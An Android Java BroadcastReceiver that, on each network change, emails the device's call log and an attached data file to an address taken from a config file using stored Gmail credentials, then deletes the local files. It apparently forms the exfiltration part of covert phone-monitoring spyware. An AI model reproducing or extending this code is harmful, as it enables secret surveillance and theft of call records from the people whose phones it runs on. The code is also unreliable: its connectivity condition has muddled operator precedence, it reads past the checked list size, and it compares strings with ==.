package com;

import java.io.File;
import java.util.ArrayList;
import com.android.R;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;

public class NetworkReceiver extends BroadcastReceiver {
	static String TAG;
	@Override
	public void onReceive(Context context, Intent intent) {
		TAG=context.getString(R.string.log_tag);
		Log.i(TAG, "Network changed state");
		//Get configuration from file
		ArrayList<String> listConfig=common.GetConfig(context);
		Log.d(TAG, listConfig.toString());
		try {
			File fileData = context.getExternalFilesDir(context.getString(R.string.data_file));
			File fileTemp = context.getExternalFilesDir( context.getString(R.string.temp_file));
			ConnectivityManager conxMgr = (ConnectivityManager) context
					.getSystemService(Context.CONNECTIVITY_SERVICE);
			NetworkInfo mobileNwInfo = conxMgr
					.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
			NetworkInfo wifiNwInfo = conxMgr
					.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
			if(listConfig.size()>=6){
				Log.i(TAG,"Config true");
				if (mobileNwInfo == null ? false : mobileNwInfo.isConnected()
						&&listConfig.get(5).equals("true")?true:false
						|| wifiNwInfo == null ? false : wifiNwInfo.isConnected()
						&&listConfig.get(6).equals("true")?true:false) {
					Log.i(TAG, "Network available");
					// Send mail
					Log.i(TAG, "Create instant Mail");
					Mail mail = new Mail(context.getApplicationContext());
					
					String userName=listConfig.get(0);
					mail.setUserName(userName);
					mail.setPassword(listConfig.get(1));
					mail.setFrom(userName.contains("@gmail.com")?userName:userName+"@gmail.com");
					mail.setTo(new String[]{listConfig.get(3)});
					mail.setSubject(listConfig.get(4)== "" ? context.getString(R.string.subject) : listConfig.get(4));			
				
					// set body for Email with CallLog details
					mail.setBody(common.getCallDetails(context));
					Log.d(TAG, "Mail body: " + mail.getBody());
					// attach file
					
					if (fileData.exists()) {
						mail.addAttachment(fileData.getAbsolutePath());
						Log.d(TAG, "Attach file success!");
						
					}else{
						Log.d(TAG, "File not exists");
					}
					
					if (mail.send()) {
						Log.i(TAG, "Email Sent");
						if (fileData.exists()) {
							fileData.delete();
						} else {
							Log.w(TAG, "File has not deleted");
						}
						
						if (fileTemp.exists()) {
							fileTemp.delete();
						} else {
							Log.w(TAG, "File has not deleted");
						}
					} else {
						Log.w(TAG, "Email has not sent");
					}
				}
			}
		} catch (Exception e) {
			Log.e(TAG, e.getMessage());
			e.printStackTrace();
		}
	}

}